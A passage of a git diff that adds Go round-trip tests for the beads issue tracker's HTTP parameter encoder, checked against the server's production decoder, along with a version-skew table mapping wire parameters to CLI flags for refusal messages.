textListing(issueops.ListRequest{IncludeEphemeral: true})}, + {"--include-ephemeral --include-infra", textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true})}, + {"--include-ephemeral with an infra --type", textListing(issueops.ListRequest{IncludeEphemeral: true, IssueType: "agent"})}, + {"--include-templates alone", textListing(issueops.ListRequest{IncludeTemplates: true})}, + {"an explicit status", textListing(issueops.ListRequest{Status: "in_progress"})}, + {"a multi-status filter", textListing(issueops.ListRequest{Status: "open,in_progress"})}, + {"a configured custom status", textListing(issueops.ListRequest{Status: "shipped"})}, + {"--type gate", textListing(issueops.ListRequest{IssueType: "gate"})}, + {"an infra --type", textListing(issueops.ListRequest{IssueType: "agent"})}, + {"a plain --type", textListing(issueops.ListRequest{IssueType: "bug"})}, + {"the explicit user filters", textListing(issueops.ListRequest{ + Assignee: assignee, + Labels: []string{"api", "core"}, + LabelsAny: []string{"p0"}, + ExcludeLabels: []string{"wontfix"}, + MetadataFields: map[string]string{"team": "core"}, + HasMetadataKey: "team", + })}, + } { + t.Run(tc.name, func(t *testing.T) { + sent := walkFilter(t, tc.in, cfg) + + plan, err := PlanSearch(sent, vocab(cfg)) + if err != nil { + t.Fatalf("PlanSearch: %v", err) + } + + oracle.reset() + if status := oracle.dial(t, OpListIssues, Encoded{Params: plan.Params}); status != 200 { + t.Fatalf("the server answered %d for %q", status, plan.Params.Encode()) + } + decoded, ok := oracle.captured(t, OpListIssues, "").(issueops.ListRequest) + if !ok { + t.Fatalf("captured a %T, want an issueops.ListRequest", decoded) + } + + // The server's role runs the same builder against the server's own + // vocabulary; here that is cfg, which is what makes the comparison + // exact rather than approximate. + rebuilt, err := workapi.BuildListFilter(decoded, cfg) + if err != nil { + t.Fatalf("the server's request does not rebuild: %v", err) + } + + if row, mismatched := firstDerivedMismatch(sent, rebuilt); mismatched { + t.Errorf("the server re-derived a different %s:\n sent exclude_status=%v exclude_types=%v pinned=%v is_template=%v ephemeral=%v skip_wisps=%v\n rebuilt exclude_status=%v exclude_types=%v pinned=%v is_template=%v ephemeral=%v skip_wisps=%v", + row, + sent.ExcludeStatus, sent.ExcludeTypes, sent.Pinned, sent.IsTemplate, sent.Ephemeral, sent.SkipWisps, + rebuilt.ExcludeStatus, rebuilt.ExcludeTypes, rebuilt.Pinned, rebuilt.IsTemplate, rebuilt.Ephemeral, rebuilt.SkipWisps) + } + + // The explicit filters are not derived, so the sweep above says + // nothing about them: they have to arrive as themselves. + for _, member := range []struct { + name string + sent, back any + }{ + {"ParentID", canonicalOf(sent.ParentID), canonicalOf(rebuilt.ParentID)}, + {"Status", canonicalOf(sent.Status), canonicalOf(rebuilt.Status)}, + {"Statuses", canonicalOf(sent.Statuses), canonicalOf(rebuilt.Statuses)}, + {"IssueType", canonicalOf(sent.IssueType), canonicalOf(rebuilt.IssueType)}, + {"Assignee", canonicalOf(sent.Assignee), canonicalOf(rebuilt.Assignee)}, + {"Labels", canonicalOf(sent.Labels), canonicalOf(rebuilt.Labels)}, + {"LabelsAny", canonicalOf(sent.LabelsAny), canonicalOf(rebuilt.LabelsAny)}, + {"ExcludeLabels", canonicalOf(sent.ExcludeLabels), canonicalOf(rebuilt.ExcludeLabels)}, + {"MetadataFields", canonicalOf(sent.MetadataFields), canonicalOf(rebuilt.MetadataFields)}, + {"HasMetadataKey", canonicalOf(sent.HasMetadataKey), canonicalOf(rebuilt.HasMetadataKey)}, + } { + if !reflect.DeepEqual(member.sent, member.back) { + t.Errorf("%s: the server rebuilt %#v, the caller sent %#v", member.name, member.back, member.sent) + } + } + }) + } +} + +// canonicalOf reduces a filter member to the comparable shape the round-trip +// sweep uses, so the two gates read a nil slice and an empty one the same way. +func canonicalOf(v any) any { return canonical(reflect.ValueOf(v)) } + +func intPtr(v int) *int { return &v } + +// vocab adapts a recognition set to the lazy accessor PlanSearch takes. The +// laziness is for the resolver's hot path, which reads no vocabulary at all; a +// test that already holds one just hands it back. +func vocab(cfg ListConfig) func() ListConfig { return func() ListConfig { return cfg } } diff --git a/internal/httpclient/encode/roundtrip_test.go b/internal/httpclient/encode/roundtrip_test.go new file mode 100644 index 000000000..fe362734a --- /dev/null +++ b/internal/httpclient/encode/roundtrip_test.go @@ -0,0 +1,589 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/roundtrip_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "fmt" + "net/http" + "net/url" + "reflect" + "sort" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// GATE 2: the round trip, with the server's own decoder as the oracle. +// +// Every parameter this package emits is fed to internal/httpapi's PRODUCTION +// handlers — the real route table, the real `query` decoder with its +// unknown-parameter rule, the real request construction — and the request the +// server built is read back off a capturing role. There is no second copy of +// the parameter table on this side of the wire, so there is no twin contract +// that can drift: a name the server does not know is a 400 and fails here, and +// the right name carrying the wrong value decodes to a request that disagrees +// and fails here. +// +// WHAT THE EXPECTATION IS BUILT FROM matters as much as the assertion. It is +// derived MECHANICALLY from the encoder table's declared field correspondence — +// each entry's Decoded name — applied to the caller's own source value, plus +// the values the server is declared to weld (the operation's DispServerFixed +// entries). Hand-writing "what the server should have decoded" would recreate +// the twin this whole design exists to avoid: a mapping error would then be +// written twice and agree with itself. +// +// It is a PURE gate: a loopback listener and sixteen fake roles, no database +// and no fixtures on disk, which is what lets it run in the pure-gate step at +// PR cadence rather than behind a conformance tier. + +func TestEncodedParametersRoundTripThroughTheServerDecoder(t *testing.T) { + oracle := startOracle(t) + exercised := map[string]map[string]bool{} + + cases := roundTripCases() + if len(cases) == 0 { + t.Fatal("no round-trip cases; there is nothing for this gate to check") + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + table, ok := TableFor(tc.op, tc.shape) + if !ok { + t.Fatalf("no encoder table for %s/%s", tc.op, tc.shape) + } + source := reflect.ValueOf(tc.source) + if source.Type() != table.Source { + t.Fatalf("case source is %s, the table takes %s", source.Type(), table.Source) + } + + encoded, err := Encode(tc.op, tc.shape, tc.source) + if err != nil { + t.Fatalf("encode: %v", err) + } + + oracle.reset() + if status := oracle.dial(t, tc.op, encoded); status != http.StatusOK { + t.Fatalf("the server answered %d for %q.\n"+ + "A 400 here is the server turning down a parameter this client sent: an unknown NAME is version skew the encoder table has wrong, an invalid VALUE is a rendering bug.", + status, encoded.Params.Encode()) + } + + want := expectedRequest(t, table, source) + compareRequests(t, table, want, oracle.captured(t, tc.op, tc.shape)) + recordExercised(exercised, table, source) + }) + } + + assertEveryEncodedFieldWasExercised(t, exercised) +} + +// TestTheExactIDsFastPathDialsGetIssue covers the one encoding that is a PATH +// rather than a query string: D11's exact-ids probe, which is what +// ResolvePartialID's fast path becomes over http. It has no single decoded +// request for the sweep above to compare against — n ids are n requests — so it +// is driven here. +func TestTheExactIDsFastPathDialsGetIssue(t *testing.T) { + oracle := startOracle(t) + + ids := []string{"bd-a3f8e9", "bd-a3f8e9.1", "hacker-news-ko4"} + plan, err := PlanSearch(types.IssueFilter{IDs: ids}, ZeroVocabulary) + if err != nil { + t.Fatalf("plan: %v", err) + } + if plan.Shape != SearchExactIDs { + t.Fatalf("shape = %q, want %q", plan.Shape, SearchExactIDs) + } + if len(plan.Params) != 0 { + t.Errorf("the exact-ids shape sent query parameters: %v", plan.Params) + } + if !reflect.DeepEqual(plan.IDs, ids) { + t.Fatalf("plan ids = %v, want %v", plan.IDs, ids) + } + + for _, id := range plan.IDs { + oracle.reset() + if status := oracle.dial(t, OpGetIssue, Encoded{Params: url.Values{}, PathIDs: []string{id}}); status != http.StatusOK { + t.Fatalf("the server answered %d for id %q", status, id) + } + got, ok := oracle.captured(t, OpGetIssue, "").(issueops.GetRequest) + if !ok { + t.Fatalf("captured a %T, want an issueops.GetRequest", got) + } + if got.ID != id { + t.Errorf("the server decoded id %q, want %q", got.ID, id) + } + if got.IncludeComments || got.IncludeDependents { + t.Errorf("the fast path asked for the expensive row lists: %+v", got) + } + } +} + +type roundTripCase struct { + name string + op Op + shape string + source any +} + +func roundTripCases() []roundTripCase { + // Deliberately sub-second: the wire format is RFC 3339 and a bare + // time.RFC3339 layout DROPS the fraction. On a created bound a dropped + // fraction is a silently widened result set, which is precisely the class + // of bug this package exists to make impossible. + subSecond := time.Date(2026, 3, 4, 5, 6, 7, 123456789, time.UTC) + // Deliberately NOT UTC: the encoder normalizes, and an instant that + // survives the crossing only when the caller already held it in UTC is an + // encoder that works by luck. + zoned := time.Date(2025, 12, 31, 23, 59, 59, 0, time.FixedZone("KST", 9*3600)) + + zero, five := 0, 5 + assignee, parent := "agent-7", "bd-epic1" + + readyFilters := issueops.ReadyRequest{ + IssueType: "bug", + Assignee: "agent-7", + Unassigned: true, + + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + ExcludeLabels: []string{"delta", "epsilon"}, + LabelPattern: "tech-*", + LabelRegex: "tech-(debt|legacy)", + + // Zero is a real priority, and a value-plus-flag pair has already lost + // P0 once. The pointer has to survive the crossing carrying zero. + Priority: &zero, + ParentID: "bd-epic1", + + IncludeDeferred: true, + IncludeEphemeral: true, + ExcludeTypes: []string{"gate", "molecule"}, + + MetadataFields: map[string]string{"team": "core", "wave": "3"}, + HasMetadataKey: "team", + } + + // The listing's fixture gains the text projection; readyFilters itself must + // NOT, because the countReadyWork case below shares it and that operation + // publishes no `brief` to round-trip. + readyEverything := readyFilters + readyEverything.Sort, readyEverything.Limit = "oldest", &five + readyEverything.Brief = true + + listEverything := issueops.ListRequest{ + Status: "open,in_progress", + IssueType: "bug", + Assignee: "agent-7", + + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + ExcludeLabels: []string{"delta", "epsilon"}, + + ParentID: "bd-epic1", + + AllFlag: true, + IncludeTemplates: true, + IncludeGates: true, + IncludeInfra: true, + IncludeEphemeral: true, + + CreatedBefore: &subSecond, + CreatedAfter: &zoned, + + MetadataFields: map[string]string{"team": "core", "wave": "3"}, + HasMetadataKey: "team", + + Brief: true, + Limit: &five, + } + + workEverything := types.WorkFilter{ + // The derived default every real ready filter carries; the encoder drops + // it and the server re-derives it, so it round-trips as the absence of a + // `status` parameter. + Status: types.StatusOpen, + Type: "bug", + Priority: &zero, + Assignee: &assignee, + Unassigned: true, + + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + ExcludeLabels: []string{"delta", "epsilon"}, + LabelPattern: "tech-*", + LabelRegex: "tech-(debt|legacy)", + + Limit: 5, + SortPolicy: types.SortPolicyOldest, + ParentID: &parent, + + IncludeDeferred: true, + IncludeEphemeral: true, + ExcludeTypes: []types.IssueType{"gate", "molecule"}, + + MetadataFields: map[string]string{"team": "core", "wave": "3"}, + HasMetadataKey: "team", + + // The bridge maps Lite onto the same `brief` the ready request sends. + Lite: true, + } + + // The count's whole vocabulary at once. Every member is here because the + // operation publishes every member, so this case IS the partition: a + // parameter the server does not know is a 400 and a value it decodes onto + // the wrong field is a mismatch, and one number coming back would show + // neither. + countEverything := issueops.CountRequest{ + Status: "closed", + IssueType: "bug", + Assignee: "agent-7", + + // Zero is a real priority on this request too, and all three bounds are + // pointers for that reason. + Priority: &zero, + PriorityMin: &zero, + PriorityMax: &five, + + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + + TitleSearch: "flaky", + // The role splits this string itself, so it has to arrive UNSPLIT — + // spaces and all, which is what the server's own handler forwards. + IDFilter: "bd-a3f8e9, bd-a3f8e9.1,bd-b1", + + TitleContains: "retry", + DescContains: "timeout", + NotesContains: "flake", + + CreatedAfter: &zoned, + CreatedBefore: &subSecond, + UpdatedAfter: &zoned, + UpdatedBefore: &subSecond, + ClosedAfter: &zoned, + ClosedBefore: &subSecond, + + EmptyDesc: true, + NoAssignee: true, + NoLabels: true, + + IncludeInfra: true, + IncludeEphemeral: true, + + MetadataFields: map[string]string{"team": "core", "wave": "3"}, + HasMetadataKey: "team", + } + + // Values that have to survive percent-encoding, a `=` inside a metadata + // VALUE (the server splits on the first one), and a repeated parameter. + awkward := issueops.ReadyRequest{ + Assignee: "a b&c=d+e", + LabelPattern: "a/b?c#d*", + LabelRegex: `^(tech|ops)-[a-z]{2,}$`, + Labels: []string{"needs review", "p0/urgent"}, + MetadataFields: map[string]string{"spec key": "v=1&x", "z": ""}, + HasMetadataKey: "spec key", + } + + cases := []roundTripCase{ + {"listReadyWork/a request naming nothing", OpListReadyWork, "", issueops.ReadyRequest{}}, + {"listReadyWork/every filter, an explicit order and a page", OpListReadyWork, "", readyEverything}, + {"listReadyWork/an explicitly unlimited page", OpListReadyWork, "", issueops.ReadyRequest{Sort: "hybrid", Limit: &zero}}, + {"listReadyWork/the priority policy", OpListReadyWork, "", issueops.ReadyRequest{Sort: "priority"}}, + {"listReadyWork/values that have to be escaped", OpListReadyWork, "", awkward}, + + {"countReadyWork/a count naming nothing", OpCountReadyWork, "", issueops.ReadyRequest{}}, + {"countReadyWork/every filter the listing takes", OpCountReadyWork, "", readyFilters}, + + {"listIssues/a listing naming nothing", OpListIssues, "", issueops.ListRequest{}}, + {"listIssues/every parameter", OpListIssues, "", listEverything}, + {"listIssues/an explicitly unlimited page", OpListIssues, "", issueops.ListRequest{Limit: &zero}}, + {"listIssues/one status, one label", OpListIssues, "", issueops.ListRequest{Status: "closed", Labels: []string{"alpha"}}}, + + {"queryIssues/a query naming nothing", OpQueryIssues, "", issueops.QueryRequest{}}, + {"queryIssues/an expression with operators and parentheses", OpQueryIssues, "", issueops.QueryRequest{ + Expression: "(type=bug OR label=urgent) AND NOT priority<2", + SortBy: "title", Reverse: true, IncludeClosed: true, Limit: &five, + }}, + + {"countIssues/a count naming nothing", OpCountIssues, "", issueops.CountRequest{}}, + {"countIssues/every filter the operation publishes", OpCountIssues, "", countEverything}, + // `all` is a status the count takes literally and the server forwards + // verbatim; it is not the listing's boolean of the same spelling. + {"countIssues/the literal all status", OpCountIssues, "", issueops.CountRequest{Status: "all"}}, + {"countIssues/byGroup/a dimension over an empty predicate", OpCountIssues, "byGroup", issueops.CountByGroupRequest{GroupBy: issueops.CountGroupStatus}}, + {"countIssues/byGroup/a dimension over the whole predicate", OpCountIssues, "byGroup", issueops.CountByGroupRequest{Filter: countEverything, GroupBy: issueops.CountGroupLabel}}, + + {"getIssue/an id alone", OpGetIssue, "", issueops.GetRequest{ID: "bd-a3f8e9"}}, + {"getIssue/both row lists", OpGetIssue, "", issueops.GetRequest{ID: "bd-a3f8e9.1", IncludeComments: true, IncludeDependents: true}}, + {"getIssue/the brief dependency projection", OpGetIssue, "", issueops.GetRequest{ID: "bd-a3f8e9.2", IncludeDependents: true, BriefDeps: true}}, + + {"listReadyWork/workFilterBridge/the derived-default status alone drops", OpListReadyWork, "workFilterBridge", types.WorkFilter{Status: types.StatusOpen}}, + {"listReadyWork/workFilterBridge/every expressible field", OpListReadyWork, "workFilterBridge", workEverything}, + {"listReadyWork/workFilterBridge/an unbounded page keeps the wire's default", OpListReadyWork, "workFilterBridge", types.WorkFilter{Status: types.StatusOpen, Limit: 0, SortPolicy: types.SortPolicyPriority}}, + } + _ = parent + + // The whole published sort vocabulary, one case each: an order accepted and + // then ignored is indistinguishable from one the caller does not understand, + // so the server refuses a value outside the set — and this proves every + // value the client can send is inside it. + for _, policy := range []string{"priority", "created", "updated", "closed", "status", "id", "title", "type", "assignee"} { + cases = append(cases, roundTripCase{ + name: "queryIssues/sort=" + policy, op: OpQueryIssues, + source: issueops.QueryRequest{Expression: "status=open", SortBy: policy}, + }) + } + for _, policy := range []string{"hybrid", "priority", "oldest"} { + cases = append(cases, roundTripCase{ + name: "listReadyWork/sort=" + policy, op: OpListReadyWork, + source: issueops.ReadyRequest{Sort: policy}, + }) + } + return cases +} + +// expectedRequest builds the server-side request the caller's source value +// MEANS, from the table's declared correspondence. +// +// Three populations, in order: the fields the table maps onto parameters, the +// fields the server welds for itself, and the one normalization the encoder +// performs. Nothing here re-derives a parameter name or a value rendering — +// those are exactly what the server is being asked to confirm. +func expectedRequest(t *testing.T, table Table, source reflect.Value) reflect.Value { + t.Helper() + want := reflect.New(table.Target).Elem() + + driven := map[string]bool{} + for _, entry := range table.Fields { + // DispNested rides the same correspondence: the delegated shape is + // encoded by another table, but it lands on a member of THIS target and + // the caller's value is what the server must have decoded there. + if entry.Disposition != DispParam && entry.Disposition != DispPath && entry.Disposition != DispNested { + continue + } + dst := want.FieldByName(entry.Decoded) + if !dst.IsValid() { + t.Fatalf("%s has no field %s", table.Target, entry.Decoded) + } + assignConverted(t, dst, source.FieldByName(entry.Name)) + driven[entry.Decoded] = true + } + + // The values the SERVER pins, taken from the operation's primary table so a + // bridge inherits them rather than restating them: listIssues welds SortBy + // to created order because the cursor is a position in it, and + // countReadyWork pins the order it has no parameter for. + for _, other := range Tables() { + if !other.Primary || other.Op != table.Op || other.Target != table.Target { + continue + } + for _, entry := range other.Fields { + if entry.Disposition != DispServerFixed || driven[entry.Name] { + continue + } + field := want.FieldByName(entry.Name) + if !field.IsValid() || field.Kind() != reflect.String { + t.Fatalf("%s.%s is server-fixed but is not a string field", table.Target, entry.Name) + } + field.SetString(entry.Fixed) + } + } + + // The encoder's own normalization: an absent ready policy is sent as the + // concrete `hybrid` it means, because omitting it would adopt the server's + // `priority` default instead — a different item SET once a limit truncates. + if table.Op == OpListReadyWork { + if policy := want.FieldByName("Sort"); policy.IsValid() && policy.String() == "" { + policy.SetString("hybrid") + } + } + return want +} + +// assignConverted copies one source field onto the server-side field the table +// says it lands on, crossing the pointer and named-type differences the legacy +// filters carry. +// +// The pointer rules are the interesting half. A nil source pointer leaves the +// target at its zero value, because "unset" is what a nil means; a plain zero +// int leaves a target POINTER nil, because the legacy filters spell "no bound" +// as zero and the wire spells it as an absent parameter. +func assignConverted(t *testing.T, dst, src reflect.Value) { + t.Helper() + switch { + case src.Kind() == reflect.Pointer && dst.Kind() != reflect.Pointer: + if src.IsNil() { + return + } + assignConverted(t, dst, src.Elem()) + case dst.Kind() == reflect.Pointer && src.Kind() != reflect.Pointer: + if !populated(src) { + return + } + dst.Set(reflect.New(dst.Type().Elem())) + assignConverted(t, dst.Elem(), src) + case dst.Kind() == reflect.Pointer && src.Kind() == reflect.Pointer: + if src.IsNil() { + return + } + dst.Set(reflect.New(dst.Type().Elem())) + assignConverted(t, dst.Elem(), src.Elem()) + case dst.Kind() == reflect.Slice && src.Kind() == reflect.Slice: + if src.Len() == 0 { + return + } + out := reflect.MakeSlice(dst.Type(), src.Len(), src.Len()) + for i := range src.Len() { + assignConverted(t, out.Index(i), src.Index(i)) + } + dst.Set(out) + default: + if !src.Type().ConvertibleTo(dst.Type()) { + t.Fatalf("cannot carry a %s onto a %s", src.Type(), dst.Type()) + } + dst.Set(src.Convert(dst.Type())) + } +} + +// compareRequests checks the whole server-side request, field by field. +// +// The WHOLE request rather than the mapped fields: a parameter that landed +// somewhere it was not meant to is exactly the bug an encoder makes, and +// checking only the fields the table claims to drive would leave it invisible. +func compareRequests(t *testing.T, table Table, want reflect.Value, got any) { + t.Helper() + gotValue := reflect.ValueOf(got) + if gotValue.Type() != table.Target { + t.Fatalf("the server built a %s, the table targets %s", gotValue.Type(), table.Target) + } + for i := range table.Target.NumField() { + name := table.Target.Field(i).Name + wantField, gotField := canonical(want.Field(i)), canonical(gotValue.Field(i)) + if !reflect.DeepEqual(wantField, gotField) { + t.Errorf("%s.%s: the server decoded %#v, the caller meant %#v", table.Target.Name(), name, gotField, wantField) + } + } +} + +// canonical reduces a request field to a comparable shape. +// +// Instants compare in UTC at nanosecond precision, so a zone the caller +// happened to hold does not read as a difference; an empty slice or map is the +// same as an absent one, because the wire spells both as no parameter at all. A +// nil POINTER stays distinct from a pointed-to zero, which is the distinction +// `limit=0` (unlimited) and an absent limit (the server's default) turn on. +func canonical(v reflect.Value) any { + if v.Type() == reflect.TypeOf(time.Time{}) { + return v.Interface().(time.Time).UTC().Format(time.RFC3339Nano) + } + switch v.Kind() { + case reflect.Pointer: + if v.IsNil() { + return nil + } + return canonical(v.Elem()) + case reflect.Slice: + if v.Len() == 0 { + return nil + } + out := make([]any, v.Len()) + for i := range out { + out[i] = canonical(v.Index(i)) + } + return out + case reflect.Map: + if v.Len() == 0 { + return nil + } + out := map[string]any{} + for iter := v.MapRange(); iter.Next(); { + out[fmt.Sprint(iter.Key().Interface())] = canonical(iter.Value()) + } + return out + case reflect.String: + return v.String() + case reflect.Bool: + return v.Bool() + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + return v.Int() + case reflect.Struct: + // A nested request shape. It is reduced member by member rather than + // compared whole, so the rules above still hold INSIDE it: an instant + // compares in UTC, and an empty slice is the same as an absent one. + // reflect.DeepEqual on the raw struct would read a zone the caller + // happened to hold as a difference the wire never carried. + out := map[string]any{} + for i := range v.NumField() { + field := v.Type().Field(i) + if !field.IsExported() { + continue + } + out[field.Name] = canonical(v.Field(i)) + } + return out + default: + return v.Interface() + } +} + +func recordExercised(exercised map[string]map[string]bool, table Table, source reflect.Value) { + key := tableName(table) + if exercised[key] == nil { + exercised[key] = map[string]bool{} + } + for _, entry := range table.Fields { + if entry.Disposition != DispParam && entry.Disposition != DispPath { + continue + } + if populated(source.FieldByName(entry.Name)) { + exercised[key][entry.Name] = true + } + } +} + +// assertEveryEncodedFieldWasExercised is what makes "cover every encoded field" +// a property rather than an intention. A parameter no case ever populates is a +// parameter this gate does not check, and the sweep passing would say otherwise. +func assertEveryEncodedFieldWasExercised(t *testing.T, exercised map[string]map[string]bool) { + t.Helper() + + // Entries whose encoding has no single decoded request for the sweep to + // compare against, each named with the test that does cover it. A bare table + // name redirects the whole table. + coveredElsewhere := map[string]string{ + "getIssue/searchExactIDs.IDs": "TestTheExactIDsFastPathDialsGetIssue", + // The descendant walk is not a field correspondence and cannot be + // checked as one: two of its source members share the `status` + // parameter, and four of the parameters it sends are INVERSIONS of + // members that carry no parameter at all, so the mechanical expectation + // this sweep builds has nothing to build from. Its round trip is a + // stronger assertion made in its own gate — the server's decoded request + // is fed back through the same builder and the filter that comes out is + // compared with the one that went in. + "listIssues/searchParentWalk": "TestTheParentWalkRoundTripsThroughTheServerDecoder", + } + + for _, table := range Tables() { + key := tableName(table) + if coveredElsewhere[key] != "" { + continue + } + var missing []string + for _, entry := range table.Fields { + if entry.Disposition != DispParam && entry.Disposition != DispPath { + continue + } + if exercised[key][entry.Name] || coveredElsewhere[key+"."+entry.Name] != "" { + continue + } + missing = append(missing, entry.Name) + } + sort.Strings(missing) + if len(missing) > 0 { + t.Errorf("%s: no round-trip case populates %v, so the server never confirmed those parameters", key, missing) + } + } +} diff --git a/internal/httpclient/encode/skew.go b/internal/httpclient/encode/skew.go new file mode 100644 index 000000000..2b7658cd1 --- /dev/null +++ b/internal/httpclient/encode/skew.go @@ -0,0 +1,257 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/skew.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "fmt" + "slices" + "strings" +) + +// Version skew, read backwards. +// +// Everything else in this package runs one direction — a request FIELD becomes a +// wire parameter — because that is the direction a filter gets silently dropped +// in. This file runs the other way, and it exists for the other half of the skew +// problem: a newer CLI sending a parameter an older bd serve has never heard of. +// +// The server answers that with 400 `invalid_argument`, `reason: +// "unknown_parameter"` and the offending `param` (internal/httpapi/query.go, +// ReasonUnknownParameter at problem.go:139). The client has the parameter; the +// user has a flag. D7's third refusal text is the translation between them, and +// this table is its mechanism. +// +// It is a table rather than a mechanical kebab-case rewrite of the parameter +// name for two reasons, and neither is cosmetic. First, the rewrite would be +// wrong: `q` is `bd query`'s positional argument and `cursor` is minted by the +// server, so both would render as flags that do not exist and send the user +// looking for one. Second, a table is CHECKABLE — the gate in skew_test.go reads +// it against the encoder table in both directions, so a parameter added to the +// wire tomorrow cannot arrive here unmapped and degrade case 3 into a bare +// "invalid argument" the moment it is the parameter that skews. + +// UnknownParameterReason is the `reason` member bd serve sets on the 400 that +// means "this server is older than you think" rather than "that value is +// wrong". The two refusals share a code and carry opposite client recoveries — +// upgrade the server versus fix the argument — so the reason is what dispatches, +// never the code alone. +const UnknownParameterReason = "unknown_parameter" + +// UnknownParameterFormat is D7's third refusal text, minus the "Error: " prefix +// the standard exit path adds (cmd/bd/errors.go). +// +// It lives here rather than at the render site because the render site is not +// the only party that has to agree on it: the refusal-UX layer byte-pins these +// bytes, and a pin against a string that layer also owns proves only that it +// agrees with itself. Sharing the constant is what makes the pin a contract +// between the mechanism and the text. +// +// Arguments, in order: subject (already spelled the way a user would read it, +// dashes included), server URL, bd_version, parameter. +const UnknownParameterFormat = "%s is not supported by bd serve at %s (bd_version %s): parameter %q is unknown to the server" + +// UnknownParameterNoVersionFormat is the same refusal before the handshake has +// run, when there is no server version to name. +// +// The two forms exist because the handshake is LAZY (D6): a case-3 refusal can +// arrive from a baseline operation that never fetched a context, and dialing for +// a version so the refusal could be one clause longer would be the wrong trade — +// a refusal is the one path that has to stay fast and side-effect free. +// +// Arguments, in order: subject, server URL, parameter. +const UnknownParameterNoVersionFormat = "%s is not supported by bd serve at %s: parameter %q is unknown to the server" + +// paramFlag is the flag each wire parameter came from. +// +// The map is flat rather than per-operation because the CLI spells these +// identically on every command that has them — `--limit` is `--limit` on `bd +// list`, `bd ready` and `bd query` alike — and because the parameter is all the +// server tells us: a 400 names the parameter, not the operation's flag set. The +// spellings are pinned against the real cobra tree by the enterprise-tagged gate +// in cmd/bd, so a flag renamed upstream fails there rather than shipping as a +// refusal pointing at a flag that no longer exists. +var paramFlag = map[string]string{ + "all": "all", + "assignee": "assignee", + "brief": "brief", + "brief_deps": "brief-deps", + "closed_after": "closed-after", + "closed_before": "closed-before", + "created_after": "created-after", + "created_before": "created-before", + "desc_contains": "desc-contains", + "empty_description": "empty-description", + "exclude_label": "exclude-label", + "exclude_type": "exclude-type", + "has_metadata_key": "has-metadata-key", + "id": "id", + "include_comments": "include-comments", + "include_deferred": "include-deferred", + "include_dependents": "include-dependents", + "include_ephemeral": "include-ephemeral", + "include_gates": "include-gates", + "include_infra": "include-infra", + "include_templates": "include-templates", + "label": "label", + "label_any": "label-any", + "label_pattern": "label-pattern", + "label_regex": "label-regex", + "limit": "limit", + "metadata_field": "metadata-field", + "no_assignee": "no-assignee", + "no_labels": "no-labels", + "notes_contains": "notes-contains", + "parent": "parent", + "priority": "priority", + "priority_max": "priority-max", + "priority_min": "priority-min", + "reverse": "reverse", + "sort": "sort", + "status": "status", + "title": "title", + "title_contains": "title-contains", + "type": "type", + "unassigned": "unassigned", + "updated_after": "updated-after", + "updated_before": "updated-before", +} + +// paramNoFlag names the wire members this client puts on a request that no flag +// produced: what the refusal calls each one, and why it has no flag. +// +// They are enumerated rather than left to fall through so that "no flag" is a +// decision with a reason attached instead of the shape a forgotten entry takes. +// Subject is what the user READS and Why is what a reader of this table (and its +// gate) needs; they are different jobs, and collapsing them would either put +// rationale in a refusal or leave the rationale nowhere. +var paramNoFlag = map[string]noFlagParam{ + "q": { + Subject: "the bd query expression", + Why: "`bd query`'s expression is its positional argument, not a flag; a refusal naming `--q` would send the user looking for one that does not exist", + }, + "cursor": { + Subject: "paging", + Why: "the opaque keyset token is minted by the SERVER and echoed by the pager. No flag can produce it, and a client that minted its own would be " + + "inventing a position in an order it cannot observe. A user who sees this text is looking at a paging bug rather than at something they typed", + }, + "group_by": { + Subject: "the count grouping", + Why: "`bd count` spells the dimension as five mutually exclusive booleans — --by-status, --by-priority, --by-type, --by-assignee, --by-label — and the parameter carries whichever one was set. " + + "There is no --group-by to name, and naming any single --by-* flag would name the wrong one four times out of five", + }, + "{id}": { + Subject: "the issue id", + Why: "the issue id is a path segment (and, at the front door, a positional argument), so a skew refusal about it would not be a skew refusal at all — " + + "an older server that does not route the path answers 404, which is D6's capability pre-flight case, not this one", + }, +} + +type noFlagParam struct { + Subject string + Why string +} + +// UnknownParameterSubjectFormat is what case 3 calls a parameter this client +// does not send at all. +// +// The enterprise server's Host-allowlist refusal is the live case: it answers +// 400 with `param: "Host"` for a DNS-named URL (internal/httpapi/server.go), +// which is a request header rather than a query parameter. Rendering that as +// `--host` would be a lie, and dropping it would lose the one refusal on this +// surface whose recovery is a serve-side flag. +const UnknownParameterSubjectFormat = "the %q filter" + +// FlagForParam reports the flag that produced a wire parameter. +// +// ok is false both for a parameter with no flag behind it and for one this +// client does not send at all; the caller renders the parameter itself in either +// case. Distinguishing them here would buy nothing — the user's recovery is the +// same, and the reason lives in the table for a reader rather than for a branch. +func FlagForParam(param string) (flag string, ok bool) { + f, ok := paramFlag[param] + return f, ok +} + +// ParameterSubject is what case 3 calls the thing the server rejected. +// +// A flag is named as the user typed it, dashes and all. A wire member with no +// flag behind it is named by its recorded subject. Anything else — a parameter +// this client never sent — falls back to naming the parameter, because a +// refusal that could not name its subject would be a skew signal swallowed. +func ParameterSubject(param string) string { + if flag, ok := paramFlag[param]; ok { + return "--" + flag + } + if entry, ok := paramNoFlag[param]; ok { + return entry.Subject + } + return fmt.Sprintf(UnknownParameterSubjectFormat, param) +} + +// UnknownParameterRefusal renders D7 case 3 for one skew signal. +// +// bdVersion is empty before the lazy handshake has run, and that picks the +// shorter form rather than printing an empty parenthetical. +// +// It always renders. A skew refusal that could come back empty would be the +// silent drop this whole package exists to prevent, wearing a different hat: the +// user typed something, the server refused it, and every path out of here has to +// say so. +func UnknownParameterRefusal(param, serverURL, bdVersion string) string { + subject := ParameterSubject(param) + if bdVersion == "" { + return fmt.Sprintf(UnknownParameterNoVersionFormat, subject, serverURL, param) + } + return fmt.Sprintf(UnknownParameterFormat, subject, serverURL, bdVersion, param) +} + +// SkewParams lists every wire member the encoder table 